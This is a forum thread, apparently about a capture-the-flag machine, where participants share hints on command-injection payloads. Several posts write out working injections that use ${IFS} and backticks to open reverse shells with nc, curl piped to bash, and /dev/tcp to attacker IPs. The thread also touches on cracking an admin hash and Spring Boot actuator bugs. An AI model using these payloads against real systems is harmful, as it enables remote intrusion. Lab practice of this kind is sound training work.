[RobinX]

I got a shell as "app", but cannot find a way to become josh. Can somebody give me a hint?

would you like tell me how to get the app shell plese?
My payload is :
host=127.0.0.1\&username=\‘nc${IFS}-c${IFS}bash${IFS}10.10.16.8${IFS}5557\‘

[Dtom]

I can't get the revshell but I think my payload is very close  `curl${IFS}10.10.14.2:9001|/Downloads/shell.php`

why not use a rev.sh on /tmp ?

is there a need to chain the commands as fetching for a file with curl does not work

try doing this:
 
&username=user|curl${IFS}<you ip>:80/<youshell>|bash|

[komah]

I've managed to get the admin hash, some help to decrypt it?

[nonameokie]

Can someone please tell me this, the symbol ";" and ${IFS} and #, how did you find them?

[komah]

Can someone please tell me this, the symbol ";" and ${IFS} and #, how did you find them?

${IFS} (Internal Field Separator) is a special shell variable and it's value is \s\t\n.
I don't understand your question about the semicolon

[CiccioFa]

Can someone halp me (also in private message if you want) how to exploit the "White label error page"? I found different procedure, but none seems to work. Thanks

[flagbot]

hello again! thx for the hostname injection, but i cant quite figure out the payload. its either cant spawn bcus something something pseudo terminal, or ambiguous redirect

[hackxor]

Can someone halp me (also in private message if you want) how to exploit the "White label error page"? I found different procedure, but none seems to work. Thanks

the whitelabel is just a hint of which server is running in this case a java one
so you should look for java based webapp, in this case look for "springboot actuator" and you gonna find a actuator bugs that you could use to exploit the webapp

[buttermutter]

i have the admin password , is it just a side track if not then where do i need that ?

[artifice]

hello again! thx for the hostname injection, but i cant quite figure out the payload. its either cant spawn bcus something something pseudo terminal, or ambiguous redirect

Try this payload:
hostname=127.0.0.1&username=app;`(sh)0>/dev/tcp/IP/PORT`

on your terminal type exec >&0

edit:
make sure nc is fired up